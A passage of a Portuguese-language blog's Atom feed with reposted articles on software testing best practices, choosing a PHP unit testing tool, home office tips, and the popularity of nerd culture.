gd:etag='W/&quot;A0UASHg4cCp7ImA9Wx9XGU4.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-7236691607676838846</id><published>2011-01-13T09:20:00.001-08:00</published><updated>2011-01-13T09:20:49.638-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-01-13T09:20:49.638-08:00</app:edited><title>Especialistas alertam para importância de testes de software</title><content type='html'>&lt;small&gt;Por wellmarion&lt;/small&gt;          &lt;p&gt;&lt;em&gt;Fonte: ComputerWorld, com tradução da CIO Magazine&lt;/em&gt;&lt;/p&gt; &lt;p&gt;Três anos atrás, o Station Casinos idealizou uma ótima promoção para  atrair clientes: oferecer 25 dólares de jogo gratuito em máquinas  caça-níqueis a partir de seus cartões de fidelidade eletrônicos.  Funcionou como mágica, apostadores afluíram ao cassino em bandos. Era  para ser uma boa estratégia de negócios.&lt;/p&gt; &lt;p&gt;Porém, em uma sexta-feira, logo depois de iniciada a promoção, quando  os jogadores inseriram seus cartões nas máquinas, nada aconteceu. O  grande número de pessoas tentando acessá-las ? ao mesmo tempo em que o  departamento de contabilidade rodava diversas aplicações financeiras ?  travou os servidores que armazenavam toda a informação promocional.  Irados, jogadores atiraram seus cartões de fidelidade no chão e  iniciaram um tumulto. Uma reação nada boa.&lt;/p&gt; &lt;p&gt;A origem do problema? Teste. Marshall Andrew, vice-presidente de  tecnologia da informação e CIO do Station Casinos, diz que a empresa não  previu uma resposta tão esmagadora à promoção. Portanto, a área de TI  não testou o sistema para volumes de atividade tão grandes e,  certamente, não enquanto outros programas estavam em funcionamento.&lt;/p&gt; &lt;p&gt;Não só o cassino deixou de ganhar dinheiro naquela sexta-feira, como  desagradou clientes e precisou fazer outra campanha para se desculpar.  Assim, a empresa convidou alguns clientes a voltar em outro fim de  semana oferecendo, dessa vez, 50 dólares de jogo gratuito.&lt;/p&gt; &lt;p&gt;Moral da história: testar é essencial para desenvolver software de  alta qualidade e garantir a tranqüilidade das operações financeiras. Não  pode haver descuido, já que as conseqüências são terríveis. Negócios, e  até mesmo vidas, correm risco quando uma organização não é capaz de  testar software em busca de bugs e gargalos de performance adequadamente  ou determinar se o programa satisfaz requisitos de negócio ou  necessidades de usuários finais.&lt;/p&gt; &lt;p&gt;“O importante, quando você implanta um sistema, é assegurar que ele  funcione”, observa Andrew, que fez mudanças significativas em sua  organização de teste (conhecida como quality assurance, ou QA) desde  então. Primeiro, ele mudou o próprio processo de teste. Antes, os  desenvolvedores tinham muita liberdade para alterar código enquanto este  estava sendo testado para manter o projeto avançando. Agora, há  controles rígidos sobre o acesso dos desenvolvedores a código de teste.&lt;/p&gt; &lt;p&gt;Para preservar a sinceridade, Andrew fez com que o especialista em QA  começasse a reportar ao grupo de analistas de negócio ao invés de ao  grupo de desenvolvimento, cujo trabalho estava sendo avaliado. Em  seguida, contratou mais especialista em QA ?com treinamento em negócio ?  e envolveu-os no processo de desenvolvimento mais cedo, quando  analistas de negócio estão criando documentos sobre requisitos, para que  possam, então, desenvolver scripts de teste baseados em especificações  de negócio bem no início do processo.&lt;/p&gt; &lt;p&gt;A lista a seguir, com melhores práticas para avaliar software e  administrar uma organização de testes, foi compilada de entrevistas com  empresas que têm demandas e padrões de teste rigorosos. Estas dicas vão  além do mantra “testar no início e com freqüência”, aprimorando não só a  capacidade de teste da organização de TI, mas também a qualidade do  software que é liberado.&lt;/p&gt; &lt;p&gt;1.) Respeite seus testadores. Em muitas empresas, o teste é visto  como um serviço elementar e, como resultado, nem sempre bem feito.  Recrute profissionais detalhistas, metódicos e pacientes. Procure  pessoas que também saibam codificar. Seus desenvolvedores vão  respeitá-las mais e elas podem codificar algumas de suas próprias  ferramentas de teste. “Se a organização de desenvolvimento e a de  garantia de qualidade não se respeitarem, não poderemos atingir nossas  metas de alto nível de qualidade”, diz David Pride, vice-presidente da  eBay encarregado de QA.&lt;/p&gt; &lt;p&gt;2.) Reúna no mesmo local testadores e desenvolvedores. Juntar  desenvolvedores e testadores é um grande passo para aprimorar a  comunicação entre dois grupos que, com freqüência, batem cabeça (afinal,  testadores são pagos para descobrir falhas no trabalho dos  desenvolvedores). A proximidade física “facilita as nuances do teste”,  que são mais bem transmitidas através da interação pessoal do que por  e-mail ou uma ferramenta de workflow de desenvolvimento de aplicação,  acredita Pride.&lt;/p&gt; &lt;p&gt;3.) Monte uma estrutura de hierarquia independente. A função de teste  não deve reportar a nenhum grupo que é avaliado por cumprir prazos ou  manter baixos os custos de um projeto, segundo John Novak,  vice-presidente sênior da cadeia de hotéis La Quinta. Fazer os  testadores reportarem ao grupo de desenvolvimento é a pior opção de  todas, alerta. Se os desenvolvedores estiverem atrasados ou tiverem  dificuldade com código, ficarão tentados a deixar os testadores de lado.  Novak tem testadores que reportam diretamente a ele. No Station  Casinos, o time de teste reporta ao grupo de analistas de negócio de  Andrew, para fomentar a comunicação e envolver testadores no ciclo de  desenvolvimento desde o início.&lt;/p&gt; &lt;p&gt;4.) Dedique testadores a sistemas específicos. Na Barnes &amp;amp; Noble,  um grupo de testadores enfoca sistemas de armazenamento, enquanto  outros abordam sistemas financeiros e a base de dados que controla o  estoque. Chris Troia, CIO da rede de livrarias, acredita que dedicar os  testadores a um conjunto de sistemas aumenta seu entendimento de como  estes devem funcionar e lhes dá expertise para identificar problemas que  talvez não apareçam em um documento de teste formal. A eBay adota a  mesma abordagem, mas vai além. A empresa conta com três grupos de teste  distintos: um para funcionalidades do site, um para pagamentos e um para  aplicações de data warehousing.&lt;/p&gt; &lt;p&gt;5.) Proporcione treinamento em negócio. Andrew, do Station Casinos,  faz membros de seu departamento de teste trabalhar na recepção, no salão  do cassino e em diferentes departamentos corporativos para aprender o  jargão e entender melhor o sistema que estão testando. (A maior parte de  sua equipe de TI de 125 pessoas nunca havia feito uma aposta em um  cassino antes de entrar para a empresa.)&lt;/p&gt; &lt;p&gt;6.) Permita que usuários da área de negócio também testem. A maior  parte do teste envolve exercitar sistemas e mexer com código, ou seja,  trabalho técnico, e TI pode ficar tentada a deixar de fora usuários de  negócio. É um erro. “Na La Quinta há sempre testadores vindo da  comunidade de negócio”, observa Novak, para assegurar que os sistemas  que TI está desenvolvendo sigam as especificações.&lt;/p&gt; &lt;p&gt;Para algumas aplicações, em especial as utilizadas em hospitais,  fazer usuários testá-las é uma questão de vida ou morte. “O pessoal de  tecnologia só vai até certo ponto”, diz Patricia Skarulis,  vice-presidente de sistemas de informação e CIO do Memorial  Sloan-Kettering Cancer Center. “Precisamos que os usuários se envolvam  na avaliação das aplicações.”&lt;/p&gt; &lt;p&gt;7.) Envolva operações de rede. Nate Hayward, vice-presidente e  diretor de gestão de qualidade da HomeBanc Mortgage, conta que, durante o  teste, o grupo de operações de rede da empresa utiliza software  (ServerVantage, da Compuware) para monitorar problemas de performance de  servidores que poderiam advir do modo como o hardware ou o software são  configurados. Envolver os especialistas de operações de rede nos testes  também lhes dá a chance de ensaiar uma implementação antes que um  sistema entre em produção, garantindo que a implementação real  transcorrerá sem sobressaltos.&lt;/p&gt; &lt;p&gt;8.) Crie um laboratório que reproduza seu ambiente de negócio. Quatro  anos atrás, o Station Casinos montou um laboratório de testes caro,  semelhante a um mini-cassino, com máquinas caça-níqueis, terminais de  ponto de venda e quiosques baseados na Web simulando os ambientes de  computação das 13 propriedades da organização. Noventa por cento das  aplicações que a empresa utiliza, incluindo aquelas baseadas em  tecnologia sem fio, estão reproduzidas no laboratório. Para as 10%  restantes – grandes ou complexas demais para terem uma réplica exata –  Andrew criou um subconjunto mais enxuto com o objetivo de prever como  vão se sair quando estiverem plenamente implementadas.&lt;/p&gt; &lt;p&gt;Se necessário, Andrew pede ajuda. Na implementação de sistema mais  recente, ele recorreu aos laboratórios de teste da Microsoft para rodar  modelos de simulação.&lt;/p&gt; &lt;p&gt;9.) Desenvolva testes durante a fase de requisitos. As empresas,  normalmente, esperavam para fazer testes após a definição de requisitos e  o início ou o fim da codificação. Uma escola de pensamento cada vez  mais difundida diz que é possível testar com eficácia mesmo que os  requisitos não tenham sido desenvolvidos totalmente. Fãs da “programação  ágil” acreditam que se deve testar continuamente, do início ao fim do  projeto.&lt;/p&gt; &lt;p&gt;10.) Teste o velho com o novo. A eBay usa uma ferramenta de análise  estatística desenvolvida internamente para comparar defeitos descobertos  por testadores no código que foi testado durante um ciclo de teste  específico. A meta é garantir que software avaliado antes continue  funcionando adequadamente quando novos recursos são acrescentados.  Pride, o vice-presidente encarregado de QA, conta que a ferramenta de  análise estatística detecta onde os testadores precisam acrescentar  casos de teste ao projeto corrente e também ajuda a determinar a  eficácia geral de testes de regressão atuais para futuros projetos de  software. A eBay tem de refinar os testes continuamente porque alguns  projetos novos podem conter a mesma funcionalidade de iniciativas  anteriores.&lt;/p&gt; &lt;p&gt;11.) Aplique particionamento de classe de equivalência. “Trata-se de  uma técnica matemática que os testadores podem usar para identificar  requisitos funcionais adicionais que analistas e usuários da área de  negócio talvez não tenham observado ou comunicado”, explica Magdy Hanna,  chairman e CEO do International Institute for Software Testing. De  acordo com a executiva, o particionamento de classe de equivalência dá  aos testadores uma visão clara do número de casos de teste que precisam  executar para exercitar adequadamente todos os requisitos funcionais de  um sistema. A técnica permite, por exemplo, que o grupo de Pride  determine todas as maneiras com que os 157 milhões de usuários da eBay  podem usar sua plataforma de leilão online. O que é um belo cartão de  visitas.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;retirado de : http://bluesoft.wordpress.com/2007/12/17/especialistas-alertam-para-importancia-de-testes-de-software/&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-7236691607676838846?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/7236691607676838846/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/especialistas-alertam-para-importancia.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/7236691607676838846?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/7236691607676838846?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/especialistas-alertam-para-importancia.html' title='Especialistas alertam para importância de testes de software'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;A0YNQXk8fSp7ImA9Wx9XGU4.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-7353463418479971766</id><published>2011-01-13T09:16:00.000-08:00</published><updated>2011-01-13T09:19:50.775-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-01-13T09:19:50.775-08:00</app:edited><title>Grande Dilema</title><content type='html'>Bom dia navegantes da profundeza do dos mares da internet....&lt;br /&gt;&lt;br /&gt;Estou com dilema de que tipo de ferramenta de testes implantar na empresa que trabalho.&lt;br /&gt;preciso de colocar uma ferramenta de PHP unit! mas ate agora nao sei que  ferramenta colocar... então vou postar coisas de todas elas.....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-7353463418479971766?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/7353463418479971766/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/grande-dilema.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/7353463418479971766?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/7353463418479971766?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/grande-dilema.html' title='Grande Dilema'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CUIBRXYyfSp7ImA9Wx9XEkg.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-3480309155526950618</id><published>2011-01-05T10:51:00.000-08:00</published><updated>2011-01-05T10:52:34.895-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-01-05T10:52:34.895-08:00</app:edited><title>Home office: 10 dicas para melhorar seu escritório doméstico</title><content type='html'>&lt;p&gt;O home office é uma alternativa cada vez mais comum entre  profissionais. A nova organização da economia está indo cada vez mais  nesta direção, e  é cada vez mais  freqüente encontrar exemplos de  pessoas bem-sucedidas nas suas atividades profissionais executadas  parcial ou totalmente a partir de um escritório doméstico.&lt;/p&gt; &lt;center&gt;&lt;img title="closet home office thumb.jpg - fonte: A Closet Turned Home Office from Lowe’s (http://www.keepingthecastle.com/a-closet-turned-home-office-from-lowes/) " src="http://img.efetividade.net/img/xtra/closet-home-office-thumb.jpg" /&gt;&lt;/center&gt;  &lt;p&gt;Se você já tem o seu home office, que tal melhorá-lo? Um pouco de  revisão e planejamento pode tornar o seu ambiente profissional doméstico  muito mais efetivo, sem perder as vantagens de trabalhar dentro de  casa. &lt;/p&gt; &lt;p&gt;Veja abaixo 10 dicas para compor o escritório ideal na sua casa ou  apartamento, e acrescente suas próprias dicas nos comentários!&lt;/p&gt; &lt;p&gt;&lt;span id="more-485"&gt;&lt;/span&gt;&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;b&gt;Pare para pensar no seu ambiente:&lt;/b&gt; é iluminado? Arejado? A  temperatura é aceitável? Como está o isolamento acústico? Um painel  colorido, uma cortina, uma janela aberta, uma luminária, um espelho  grande na parede, um quadro, um relógio na parede, um circulador ou um  quadro de avisos (mesmo que seja para você mesmo) podem lhe fazer  avançar vários pontos no conforto ambiental. &lt;center&gt;&lt;img title="niagara flat 133 cafe da manha 5.jpeg - fonte: Niagara Flat (http://www.hotel-belo-horizonte.com/hoteis133-niagara-flat) " src="http://img.efetividade.net/img/xtra/niagara-flat-133-cafe-da-manha-5.jpeg" /&gt;&lt;/center&gt;  &lt;/li&gt;&lt;li&gt;&lt;b&gt;Alimente-se melhor:&lt;/b&gt; já que você trabalha em casa,  aproveite: estruture seu horário de forma a poder ter um bom café da  manhã, e um almoço caseiro várias vezes por semana. Estruture-se,  organize-se, aprenda a comprar os ingredientes certos e a congelar  pratos, se necessário. Sua saúde agradece, a qualidade de vida comemora,  e até o bolso pode ficar feliz! Nos dias de pressa, &lt;a href="http://www.efetividade.net/2008/01/11/receitas-rapidas-para-cozinhar-com-efetividade/"&gt;saiba acelerar a comida&lt;/a&gt;! &lt;/li&gt;&lt;li&gt;&lt;b&gt;Redistribua os móveis e objetos:&lt;/b&gt; Eu já disse &lt;a href="http://www.efetividade.net/2007/04/19/trabalhar-em-casa-veja-a-solucao-para-6-problemas-comuns/"&gt;antes&lt;/a&gt;,  mas vou repetir a dica: pense no modelo adotado por um piloto de avião  comercial: os instrumentos mais importantes para seu trabalho estão  localizados exatamente à frente da sua posição usual de trabalho, e os  demais ficam dispostos radialmente a partir deste núcleo, de modo que  ele se desloca o mínimo possível para realizar seu trabalho. Não esconda  dentro de armários distantes as ferramentas que você usa no dia-a-dia,  nem desperdice o espaço das áreas mais nobres à frente da sua posição de  trabalho. &lt;center&gt;&lt;img title="escritorio apertado.jpg - fonte: Home Office Snapshots » cramped (http://home.officesnapshots.com/category/cramped/) " src="http://img.efetividade.net/img/xtra/escritorio-apertado.jpg" /&gt;&lt;br /&gt;&lt;i&gt;Remova móveis e fuja do aperto!&lt;/i&gt;&lt;/center&gt;  &lt;/li&gt;&lt;li&gt;&lt;b&gt;Fuja do aperto:&lt;/b&gt; ao redistribuir os móveis, preste  atenção: há mobília no seu espaço de trabalho que você não usa para  trabalhar? Que tal tentar movê-la para outro local, dando mais espaço  para a sua atividade profissional? Verifique também se sua mesa,  cadeira, estante, arquivo ou monitor não são menores do que deveriam ser  para permitir o trabalho com conforto e organização – e planeje sua  substituição, se necessário. &lt;/li&gt;&lt;li&gt;&lt;b&gt;Acorde mais cedo:&lt;/b&gt; &lt;a href="http://www.efetividade.net/2007/07/17/acordar-cedo-como-criar-o-habito-e-ganhar-mais-tempo-em-seu-dia-a-dia/"&gt;acordar cedo&lt;/a&gt; vale a pena, e fica mais fácil se você desenvolver o hábito de &lt;a href="http://www.efetividade.net/2008/02/06/dormir/"&gt;dormir bem&lt;/a&gt;. Um &lt;a href="http://www.efetividade.net/2008/03/03/prepare-se-para-acordar-bem-fazendo-seu-despertador-tocar-toda-noite-as-22h/"&gt;pequeno truque&lt;/a&gt; pode ajudar! &lt;/li&gt;&lt;li&gt;&lt;b&gt;Atitude ecológica:&lt;/b&gt; vá tão longe quanto for possível e  prático. No mínimo, reuse os clips e folhas de papel, apague as luzes ao  sair, e desligue os equipamentos quando não estiverem em uso! &lt;center&gt;&lt;img src="http://trilux.org/img/uma-pasta-suspensa.gif" /&gt;&lt;/center&gt; &lt;/li&gt;&lt;li&gt;&lt;b&gt;Arquive direito os documentos:&lt;/b&gt; Para ter um escritório  pessoal em que as coisas não somem, no mínimo, você precisa de gavetas e  de uma boa estrutura de arquivamento organizado de documentos e papéis  em geral. Se quiser fazer apenas o essencial, um &lt;a href="http://www.efetividade.net/2008/02/12/escritorio-domestico-como-arquivar-documentos-pessoais/"&gt;arquivo de pastas suspensas&lt;/a&gt;  econômico, com estrutura em plástico ou aramado, custa menos de R$ 50  nas papelarias, e continua sendo útil por anos e anos a fio. Uma boa  estrutura inicial é considerar uma pasta para cada um dos projetos em  que você estiver envolvido, e mais algumas pastas extras para  arquivamento das suas categorias de materiais de referência. &lt;center&gt;&lt;img src="http://trilux.org/img/abracadeira-nylon.jpg" /&gt;&lt;/center&gt; &lt;/li&gt;&lt;li&gt;&lt;b&gt;Organize os cabos:&lt;/b&gt; eu &lt;a href="http://www.efetividade.net/2007/08/11/organizador-de-cabos/"&gt;já compartilhei&lt;/a&gt;  a minha receita para manter os cabos sempre no lugar, acessíveis e fora  do meu campo visual, mas você pode fazer algo similar gastando ainda  menos, com alguns fixadores feitos de nylon ou velcro que você encontra  em lojas de utilidades domésticas. &lt;center&gt;&lt;img title="Rotary Phone.jpg - fonte: Obsolete Skills: Skills/Dialing A Rotary Phone (http://obsoleteskills.com/Skills/DialingARotaryPhone) " src="http://img.efetividade.net/img/xtra/Rotary_Phone.jpg" /&gt;&lt;/center&gt;  &lt;/li&gt;&lt;li&gt;&lt;b&gt;Atenção às telecomunicações:&lt;/b&gt; Comunicar-se com clientes,  parceiros e fornecedores exige um telefone, e eventualmente um fax.  Considere avançar na digitalização, usando bem recursos como VoIP  (incluindo Skype e similares, mas também serviços mais complexos),  e-mail e web. Mas se você trabalha sozinho, ter uma secretária  eletrônica (virtual ou não) e um aparelho telefônico que permita  circular livremente e manter as duas mãos disponíveis é essencial. Eu  recomendo um telefone sem fio com secretária eletrônica digital,  identificador de chamadas e entrada para fone de ouvido/microfone – é  suficientemente barato, você não perderá mais nenhum recado ou  oportunidade de retornar a ligação, e poderá andar pela casa falando,  com ambas as mãos livres, quando necessário. Este &lt;a href="http://afiliados.efetividade.net/?telecoms_productdetails.asp?Query=&amp;amp;ProdTypeId=11&amp;amp;CatId=75329&amp;amp;PrevCatId=60650&amp;amp;ProdId=21230298&amp;amp;ST=BL75329&amp;amp;OperId=0&amp;amp;CellType=2&amp;amp;DelSave=1&amp;amp;franq=171389"&gt;modelo da Panasonic&lt;/a&gt; tem até ramal interno sem fio, para transferir ligações entre cômodos da casa, mas existem &lt;a href="http://afiliados.efetividade.net/?homecache/telecoms_browser.aspx?Query=&amp;amp;ProdTypeId=11&amp;amp;CatId=75339&amp;amp;PrevCatId=60650&amp;amp;franq=171389"&gt;modelos bem mais econômicos&lt;/a&gt;. O meu é um Panasonic KX-TG2935-LB. &lt;/li&gt;&lt;li&gt;&lt;b&gt;Considere a ergonomia:&lt;/b&gt; &lt;a href="http://www.efetividade.net/2007/11/01/ergonomia-tendinite-nunca-mais-dicas-para-sua-mesa-de-trabalho-parte-1/"&gt;evite a tendinite&lt;/a&gt;  e os problemas de visão! Coloque a mesa e a cadeira na altura e posição  certa, evite sombras e brilhos excessivos, posicione bem o monitor, o  teclado e o mouse, e faça pausas regulares, no mínimo. &lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;retirado de:  http://www.efetividade.net/2008/07/18/home-office-10-dicas-para-melhorar-seu-escritorio-domestico/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-3480309155526950618?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/3480309155526950618/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/home-office-10-dicas-para-melhorar-seu.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/3480309155526950618?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/3480309155526950618?v=2'/><link rel='alternate' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/home-office-10-dicas-para-melhorar-seu.html' title='Home office: 10 dicas para melhorar seu escritório doméstico'/><author><name>Lorena Cherulli</name><uri>http://www.blogger.com/profile/01536324137799510371</uri><email>noreply@blogger.com</email><gd:extendedProperty name='OpenSocialUserId' value='16637082429502754431'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;AkYESX49cSp7ImA9Wx9XEkk.&quot;'><id>tag:blogger.com,1999:blog-903428653458405755.post-4146246101431143458</id><published>2011-01-05T09:18:00.000-08:00</published><updated>2011-01-05T09:21:48.069-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-01-05T09:21:48.069-08:00</app:edited><title>Sou nerd, mas tô na moda</title><content type='html'>&lt;div class="entry-head"&gt;     &lt;h3 class="entry-title"&gt;&lt;/h3&gt;      &lt;small class="entry-meta"&gt;      &lt;span class="chronodata"&gt;       &lt;/span&gt;&lt;a href="http://aliengirl.wordpress.com/2007/10/30/sou-nerd-mas-to-na-moda/#comments" class="commentslink" title="Comentário em Sou nerd, mas tô na moda"&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;          &lt;/small&gt;     &lt;/div&gt;      &lt;div class="entry-content"&gt; &lt;p&gt;&lt;strong&gt;Entenda como os garotos mais estranhos do colégio conquistaram o mundo- e a indústria do entretenimento&lt;/strong&gt;&lt;br /&gt;&lt;a href="http://aliengirl.files.wordpress.com/2007/10/nerd1.jpg" title="nerd1.jpg"&gt;&lt;img src="http://aliengirl.files.wordpress.com/2007/10/nerd1.jpg?w=500" alt="nerd1.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;(Você sabe o que é um nerd: aquele cara meio estranho, sem vida  social, que adora ciência e tecnologia e tem hobbies obscuros (tipo  colecionar gibis japoneses).&lt;/p&gt; &lt;p&gt;Se alguém o chamar de nerd – ou de geek, um subtipo nerd, mais  descolado e viciado em brinquedos tecnológicos –, provavelmente não está  fazendo um elogio. Ou está? Por incrível que pareça, o nerdismo está na  moda. Olhe na TV e no cinema e você perceberá isso.&lt;/p&gt; &lt;p&gt;Até o fim dos anos 90, as séries mais populares eram as comédias  urbanas, como Friends e Seinfeld(*meu comentário: Seinfeld é um  nerd!!!). Em 2007, muitos dos sucessos da programação têm uma queda  nerd: seja solucionando crimes com alta&lt;br /&gt;tecnologia (os detetives de CSI), reinventando a medicina (o cabeçudo  doutor de House), discutindo conceitos da física (as teorias por trás de  Lost) ou criando computadores (em Heroes).&lt;/p&gt; &lt;p&gt;Essa overdose científica não acontece à toa. É o resultado de uma  tendência: a temática dá boa audiências e as emissoras resolvem investir  mais dinheiro nela. Tanto que uma das maiores a postas para a temporada  é a série The Big Bang Theory (“A Teoria do Big-Bang”), onde os  protagonistas, físicos do Instituto de Tecnologia da Califórnia,&lt;br /&gt;tentam conquistar garotas declamando conceitos da Teoria da Relatividade. No horário nobre.&lt;/p&gt; &lt;p&gt;Na 1ª semana de outubro, que marcou a estréia da temporada 2007 nos  EUA, 3 programas nerds lideraram a audiência: House, Bionic Woman e CSI.  (A conta não inclui as hiperpopulares Lost e Heroes, que continuam de  férias.)&lt;/p&gt; &lt;p&gt;CSI foi tão bem-sucedida que deu origem a duas outras séries – CSI  New York e CSI Miami. Juntas, elas são seguidas por mais de 2 bilhões de  pessoas, em 200 países. “Agora, ser geek é legal”, anunciou o  vice-presidente da rede NBC, que já tinha Heroes e acaba de lançar  Chuck, sobre um nerd que recebeu no cérebro o download de informações  sigilosas.&lt;/p&gt; &lt;p&gt;&lt;a href="http://aliengirl.files.wordpress.com/2007/10/nerd21.jpg" title="nerd21.jpg"&gt;&lt;img src="http://aliengirl.files.wordpress.com/2007/10/nerd21.jpg?w=500" alt="nerd21.jpg" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Leia mais &lt;span id="more-75"&gt;&lt;/span&gt;Dá para ver o fenômeno na música  também. O indie rock é a aposta das gravadoras para ganhar dinheiro e  sobreviver ao inferno dos downloads piratas.&lt;/p&gt; &lt;p&gt;O cinema também está na onda. Só para citar um exemplo, o veterano  Bruce Willis, último dos heróis de ação, se rendeu em Duro de Matar 4.0 –  mesmo com toda a sua força, para vencer os bandidos ele teve de pedir a  ajuda, veja só, de um hacker.&lt;/p&gt; &lt;p&gt;É o caso de perguntar o que está acontecendo com o mundo. Como  aqueles meninos que babavam na gola, os mais ridicularizados do colégio,  foram alçados a heróis dos nossos tempos? “Os nerds são muito mais  importantes e necessários atualmente”, explica o jornalista americano  Neil Feineman, autor do livro Geek Chic – The Ultimate Guide to Geek  Culture (“Guia da Cultura Geek”, sem versão em português).&lt;/p&gt; &lt;p&gt;Quando Bill Gates começou a fazer fortuna, nos anos 80, passar a  tarde no computador era motivo de chacota. Hoje, é impossível viver  longe de um pc. A sua vida está cada dia mais digital – e esse é um  caminho sem volta.&lt;/p&gt; &lt;p&gt;É aí que entram os nerds: são eles que vão nos guiar à terra  prometida da revolução tecnológica. Vão consertar o computador de casa,  recomendar softwares e ensinar a usar todos os recursos do iPhone. De  quebra, vão explicar todos os mistérios de Lost!&lt;/p&gt; &lt;p&gt;Repare na diferença: o novo nerd é um cara legal, cujas habilidades  são socialmente desejáveis – um sujeito que mesmo você, que não é nerd  (ou é?), gostaria de ter como amigo.&lt;/p&gt; &lt;p&gt;Além de mais importantes, os novos nerds estão cheios da grana.  “Hoje, você pode fundar uma empresinha de internet e ficar famoso e  milionário, como se fosse um astro do rock”, diz Feineman. Já ouviu  falar nos donos do Google? Nos YouTube boys? No fundador do Facebook, 23  anos de espinhas na cara e proprietário de um site que pode valer US$ 5  bilhões? Todos nerds. E ricos.&lt;/p&gt; &lt;p&gt;Nos EUA, o setor de tecnologia paga um salário mensal médio de US$  9.200. Entre todos os setores da economia, só o mercado financeiro  remunera melhor. Isso sem falar nas grandes empresas do ramo, que cobrem  de mimos seu exército geek: o Google é considerado o melhor lugar do  mundo para trabalhar.&lt;/p&gt; &lt;p&gt;Com tanta popularidade – agora todo mundo quer ser nerd! – era  natural que o mercado cultural refletisse as mudanças. A indústria dos  games, passatempo preferido desse pessoal, já supera Hollywood: fatura  US$ 13,5 bilhões anuais, contra US$ 9,5 bilhões dos estúdios de cinema.  Até o perfil do jogador mudou: neste ano, pela primeira vez uma pesquisa  mostrou as mulheres como maioria entre os gamers. Tudo graças aos jogos  online e ao console Wii, da Nintendo, que inaugurou uma nova maneira de  jogar, simples e acessível.&lt;/p&gt; &lt;p&gt;É apenas mais uma prova de que a tecnologia saiu do gueto dos garotos  com espinhas. Ouça um grupo de meninas e você perceberá que elas falam  sobre internet, não vivem sem iPod, sem blog, sem perfil no orkut.&lt;/p&gt; &lt;p&gt;As pessoas comuns estão ficando mais nerds – e os nerds estão ficando  mais normais. Isso não quer dizer, claro, que eles sejam totalmente  normais. Alguns ainda estão longe disso. Imagine que, ao ver a namorada  triste, o rapaz queira dizer algo para acalmá-la. “A vida é cheia de  paradoxos. Como a luz, por exemplo. Ela é uma onda, mas aí veio Einstein  e mostrou que ela também se comporta como partículas.” Ainda existem  coisas que só meganerds, como o físico Leonard, protagonista de The Big  Bang Theory, é capaz de fazer.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;retirado de : &lt;a href="http://super.abril.com.br/revista/245/materia_revista_256871.shtml?pagina=1"&gt;http://super.abril.com.br/revista/245/materia_revista_256871.shtml?pagina=1&lt;/a&gt;&lt;/p&gt;         &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/903428653458405755-4146246101431143458?l=passosdumatester.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://passosdumatester.blogspot.com/feeds/4146246101431143458/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://passosdumatester.blogspot.com/2011/01/sou-nerd-mas-to-na-moda.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/903428653458405755/posts/default/4146246101431143458?v=2'/><link rel='self' type='application/atom+xml' 